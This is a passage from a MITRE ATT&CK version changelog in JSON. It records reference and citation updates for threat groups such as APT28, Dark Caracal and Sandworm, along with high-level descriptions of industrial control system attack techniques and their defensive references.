STRONTIUM New Patterns Cred Harvesting Sept 2020", "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. 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(Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). \"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)\", \"old_value\": \"(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)\", \"old_value\": \"This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018)\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)\", \"old_value\": \"This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) \", \"old_value\": \"(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) \"}, \"root['external_references'][8]['description']\": {\"new_value\": \"(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)\", \"old_value\": \"(Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)\", \"old_value\": \"(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) \"}, \"root['external_references'][14]['source_name']\": {\"new_value\": \"Cybersecurity Advisory GRU Brute Force Campaign July 2021\", \"old_value\": \"DOJ GRU Indictment Jul 2018\"}, \"root['external_references'][14]['description']\": {\"new_value\": \"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.\", \"old_value\": \"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.\"}, \"root['external_references'][14]['url']\": {\"new_value\": \"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF\", \"old_value\": \"https://www.justice.gov/file/1080281/download\"}, \"root['external_references'][15]['source_name']\": {\"new_value\": \"DOJ GRU Indictment Jul 2018\", \"old_value\": \"Ars Technica GRU indictment Jul 2018\"}, \"root['external_references'][15]['description']\": {\"new_value\": \"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.\", \"old_value\": \"Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.\"}, \"root['external_references'][15]['url']\": {\"new_value\": \"https://www.justice.gov/file/1080281/download\", \"old_value\": \"https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/\"}, \"root['external_references'][16]['source_name']\": {\"new_value\": \"Ars Technica GRU indictment Jul 2018\", \"old_value\": \"Crowdstrike DNC June 2016\"}, \"root['external_references'][16]['description']\": {\"new_value\": \"Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.\", \"old_value\": \"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.\"}, \"root['external_references'][16]['url']\": {\"new_value\": \"https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/\", \"old_value\": \"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/\"}, \"root['external_references'][17]['source_name']\": {\"new_value\": \"Crowdstrike DNC June 2016\", \"old_value\": \"FireEye APT28\"}, \"root['external_references'][17]['description']\": {\"new_value\": \"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.\", \"old_value\": \"FireEye. (2015). APT28: A WINDOW INTO RUSSIA\\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.\"}, \"root['external_references'][17]['url']\": {\"new_value\": \"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/\", \"old_value\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf\"}, \"root['external_references'][18]['source_name']\": {\"new_value\": \"FireEye APT28\", \"old_value\": \"SecureWorks TG-4127\"}, \"root['external_references'][18]['description']\": {\"new_value\": \"FireEye. (2015). APT28: A WINDOW INTO RUSSIA\\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.\", \"old_value\": \"SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.\"}, \"root['external_references'][18]['url']\": {\"new_value\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf\", \"old_value\": \"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign\"}, \"root['external_references'][19]['source_name']\": {\"new_value\": \"SecureWorks TG-4127\", \"old_value\": \"FireEye APT28 January 2017\"}, \"root['external_references'][19]['description']\": {\"new_value\": \"SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.\", \"old_value\": \"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.\"}, \"root['external_references'][19]['url']\": {\"new_value\": \"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign\", \"old_value\": \"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf\"}, \"root['external_references'][20]['source_name']\": {\"new_value\": \"FireEye APT28 January 2017\", \"old_value\": \"GRIZZLY STEPPE JAR\"}, \"root['external_references'][20]['description']\": {\"new_value\": \"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.\", \"old_value\": \"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \\u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.\"}, \"root['external_references'][20]['url']\": {\"new_value\": \"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf\", \"old_value\": \"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf\"}, \"root['external_references'][21]['source_name']\": {\"new_value\": \"GRIZZLY STEPPE JAR\", \"old_value\": \"Sofacy DealersChoice\"}, \"root['external_references'][21]['description']\": {\"new_value\": \"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \\u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.\", \"old_value\": \"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.\"}, \"root['external_references'][21]['url']\": {\"new_value\": \"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf\", \"old_value\": \"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/\"}, \"root['external_references'][22]['source_name']\": {\"new_value\": \"Sofacy DealersChoice\", \"old_value\": \"Palo Alto Sofacy 06-2018\"}, \"root['external_references'][22]['description']\": {\"new_value\": \"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.\", \"old_value\": \"Lee, B., Falcone, R. (2018, June 06). Sofacy Group\\u2019s Parallel Attacks. Retrieved June 18, 2018.\"}, \"root['external_references'][22]['url']\": {\"new_value\": \"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/\", \"old_value\": \"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/\"}, \"root['external_references'][23]['source_name']\": {\"new_value\": \"Palo Alto Sofacy 06-2018\", \"old_value\": \"Symantec APT28 Oct 2018\"}, \"root['external_references'][23]['description']\": {\"new_value\": \"Lee, B., Falcone, R. (2018, June 06). Sofacy Group\\u2019s Parallel Attacks. Retrieved June 18, 2018.\", \"old_value\": \"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.\"}, \"root['external_references'][23]['url']\": {\"new_value\": \"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/\", \"old_value\": \"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government\"}, \"root['external_references'][24]['source_name']\": {\"new_value\": \"Symantec APT28 Oct 2018\", \"old_value\": \"ESET Zebrocy May 2019\"}, \"root['external_references'][24]['description']\": {\"new_value\": \"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.\", \"old_value\": \"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.\"}, \"root['external_references'][24]['url']\": {\"new_value\": \"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government\", \"old_value\": \"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/\"}, \"root['external_references'][25]['source_name']\": {\"new_value\": \"ESET Zebrocy May 2019\", \"old_value\": \"US District Court Indictment GRU Oct 2018\"}, \"root['external_references'][25]['description']\": {\"new_value\": \"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.\", \"old_value\": \"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.\"}, \"root['external_references'][25]['url']\": {\"new_value\": \"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/\", \"old_value\": \"https://www.justice.gov/opa/page/file/1098481/download\"}, \"root['external_references'][26]['source_name']\": {\"new_value\": \"US District Court Indictment GRU Oct 2018\", \"old_value\": \"Kaspersky Sofacy\"}, \"root['external_references'][26]['description']\": {\"new_value\": \"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.\", \"old_value\": \"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.\"}, \"root['external_references'][26]['url']\": {\"new_value\": \"https://www.justice.gov/opa/page/file/1098481/download\", \"old_value\": \"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/\"}, \"root['external_references'][27]['source_name']\": {\"new_value\": \"Kaspersky Sofacy\", \"old_value\": \"ESET Sednit Part 3\"}, \"root['external_references'][27]['description']\": {\"new_value\": \"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.\", \"old_value\": \"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.\"}, \"root['external_references'][27]['url']\": {\"new_value\": \"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/\", \"old_value\": \"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf\"}, \"root['external_references'][28]['source_name']\": {\"new_value\": \"ESET Sednit Part 3\", \"old_value\": \"Talos Seduploader Oct 2017\"}, \"root['external_references'][28]['description']\": {\"new_value\": \"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.\", \"old_value\": \"Mercer, W., et al. (2017, October 22). \\\"Cyber Conflict\\\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.\"}, \"root['external_references'][28]['url']\": {\"new_value\": \"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf\", \"old_value\": \"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html\"}, \"root['external_references'][29]['source_name']\": {\"new_value\": \"Talos Seduploader Oct 2017\", \"old_value\": \"Securelist Sofacy Feb 2018\"}, \"root['external_references'][29]['description']\": {\"new_value\": \"Mercer, W., et al. (2017, October 22). \\\"Cyber Conflict\\\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.\", \"old_value\": \"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.\"}, \"root['external_references'][29]['url']\": {\"new_value\": \"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html\", \"old_value\": \"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/\"}, \"root['external_references'][30]['source_name']\": {\"new_value\": \"Securelist Sofacy Feb 2018\", \"old_value\": \"Accenture SNAKEMACKEREL Nov 2018\"}, \"root['external_references'][30]['description']\": {\"new_value\": \"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.\", \"old_value\": \"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.\"}, \"root['external_references'][30]['url']\": {\"new_value\": \"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/\", \"old_value\": \"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50\"}, \"root['external_references'][31]['source_name']\": {\"new_value\": \"Accenture SNAKEMACKEREL Nov 2018\", \"old_value\": \"TrendMicro Pawn Storm Dec 2020\"}, \"root['external_references'][31]['description']\": {\"new_value\": \"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.\", \"old_value\": \"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.\"}, \"root['external_references'][31]['url']\": {\"new_value\": \"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50\", \"old_value\": \"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html\"}, \"root['external_references'][32]['source_name']\": {\"new_value\": \"TrendMicro Pawn Storm Dec 2020\", \"old_value\": \"Microsoft STRONTIUM Aug 2019\"}, \"root['external_references'][32]['description']\": {\"new_value\": \"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.\", \"old_value\": \"MSRC Team. (2019, August 5). Corporate IoT \\u2013 a path to intrusion. Retrieved August 16, 2019.\"}, \"root['external_references'][32]['url']\": {\"new_value\": \"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html\", \"old_value\": \"https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/\"}, \"root['external_references'][33]['source_name']\": {\"new_value\": \"Microsoft STRONTIUM Aug 2019\", \"old_value\": \"Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020\"}, \"root['external_references'][33]['description']\": {\"new_value\": \"MSRC Team. (2019, August 5). Corporate IoT \\u2013 a path to intrusion. Retrieved August 16, 2019.\", \"old_value\": \"Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.\"}, \"root['external_references'][33]['url']\": {\"new_value\": \"https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/\", \"old_value\": \"https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.2\", \"old_value\": \"3.1\"}}, \"iterable_item_added\": {\"root['external_references'][34]\": {\"source_name\": \"Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020\", \"description\": \"Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.\", \"url\": \"https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/\"}}}", "previous_version": "3.1", "version_change": "3.1 \u2192 3.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT28](https://attack.mitre.org/groups/G0007) is a threat gt1[APT28](https://attack.mitre.org/groups/G0007) is a threat g
>roup that has been attributed to Russia's General Staff Main>roup that has been attributed to Russia's General Staff Main
> Intelligence Directorate (GRU) 85th Main Special Service Ce> Intelligence Directorate (GRU) 85th Main Special Service Ce
>nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub>nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub
> August 2020) This group has been active since at least 2004> August 2020)(Citation: Cybersecurity Advisory GRU Brute For
>.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech>ce Campaign July 2021) This group has been active since at l
>nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun>east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: 
>e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG->Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike 
>4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ>DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork
>ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: >s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G
>Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018>RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation:
>) (Citation: ESET Zebrocy May 2019)  [APT28](https://attack.> Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018
>mitre.org/groups/G0007) reportedly compromised the Hillary C>)(Citation: ESET Zebrocy May 2019)  [APT28](https://attack.m
>linton campaign, the Democratic National Committee, and the >itre.org/groups/G0007) reportedly compromised the Hillary Cl
>Democratic Congressional Campaign Committee in 2016 in an at>inton campaign, the Democratic National Committee, and the D
>tempt to interfere with the U.S. presidential election. (Cit>emocratic Congressional Campaign Committee in 2016 in an att
>ation: Crowdstrike DNC June 2016) In 2018, the US indicted f>empt to interfere with the U.S. presidential election. (Cita
>ive GRU Unit 26165 officers associated with [APT28](https://>tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi
>attack.mitre.org/groups/G0007) for cyber operations (includi>ve GRU Unit 26165 officers associated with [APT28](https://a
>ng close-access operations) conducted between 2014 and 2018 >ttack.mitre.org/groups/G0007) for cyber operations (includin
>against the World Anti-Doping Agency (WADA), the US Anti-Dop>g close-access operations) conducted between 2014 and 2018 a
>ing Agency, a US nuclear facility, the Organization for the >gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi
>Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem>ng Agency, a US nuclear facility, the Organization for the P
>icals Laboratory, and other organizations.(Citation: US Dist>rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi
>rict Court Indictment GRU Oct 2018) Some of these were condu>cals Laboratory, and other organizations.(Citation: US Distr
>cted with the assistance of GRU Unit 74455, which is also re>ict Court Indictment GRU Oct 2018) Some of these were conduc
>ferred to as [Sandworm Team](https://attack.mitre.org/groups>ted with the assistance of GRU Unit 74455, which is also ref
>/G0034). >erred to as [Sandworm Team](https://attack.mitre.org/groups/
 >G0034). 
" }, { "type": "intrusion-set", "id": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-11 19:08:18.503000+00:00", "name": "Dark Caracal", "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)", "aliases": [ "Dark Caracal" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0070", "external_id": "G0070" }, { "source_name": "Dark Caracal", "description": "(Citation: Lookout Dark Caracal Jan 2018)" }, { "source_name": "Lookout Dark Caracal Jan 2018", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. 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Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", "url": "https://www.justice.gov/opa/press-release/file/1328521/download" }, { "source_name": "UK NCSC Olympic Attacks October 2020", "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games" }, { "source_name": "iSIGHT Sandworm 2014", "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" }, { "source_name": "CrowdStrike VOODOO BEAR", "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" }, { "source_name": "USDOJ Sandworm Feb 2020", "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.", "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html" }, { "source_name": "NCSC Sandworm Feb 2020", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory" }, { "source_name": "US District Court Indictment GRU Oct 2018", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", "url": "https://www.justice.gov/opa/page/file/1098481/download" }, { "source_name": "F-Secure BlackEnergy 2014", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" }, { "source_name": "InfoSecurity Sandworm Oct 2014", "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" }, { "source_name": "Dragos ELECTRUM", "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", "url": "https://www.dragos.com/resource/electrum/" }, { "source_name": "Secureworks IRON VIKING ", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. 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Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required.\n\nAdversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices.\n\nTransient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems.\n\nIn the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0864", "external_id": "T0864" }, { "source_name": "NERC June 2021", "description": " North American Electric Reliability Corporation. (2021, June 28). Glossary of Terms Used in NERC Reliability Standards. Retrieved October 11, 2021.", "url": "https://www.nerc.com/files/glossary_of_terms.pdf" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "NIST Apr 2013", "description": "National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020.", "url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf" }, { "source_name": "NAFT Dec 2019", "description": "North America Transmission Forum. (2019, December). NATF Transient Cyber Asset Guidance. Retrieved September 25, 2020.", "url": "https://www.natf.net/docs/natf/documents/resources/security/natf-transient-cyber-asset-guidance.pdf" }, { "source_name": "Emerson Exchange", "description": "Emerson Exchange. (n.d.). Increase Security with TPM, Secure Boot, and Trusted Boot. Retrieved September 25, 2020.", "url": "https://emersonexchange365.com/products/control-safety-systems/f/plc-pac-systems-industrial-computing-forum/8383/increase-security-with-tpm-secure-boot-and-trusted-boot" }, { "source_name": "National Security Agency Feb 2016", "description": "National Security Agency. (2016, February). Position Zero: Integrity Checking Windows-Based ICS/SCADA Systems. Retrieved September 25, 2020.", "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/industrial-control-systems/position-zero-integrity-checking-windows-based-ics-scada-systems.cfm" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Flows", "Network Traffic: Network Connections", "Assets: Asset Inventory" ], "x_mitre_platforms": [ "Engineering Workstation" ] } ], "major_version_changes": [], "minor_version_changes": [], "other_version_changes": [], "patches": [ { "type": "attack-pattern", "id": "attack-pattern--19a71d1e-6334-4233-8260-b749cae37953", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:14:01.612000+00:00", "name": "Activate Firmware Update Mode", "description": "Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0800", "external_id": "T0800" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": 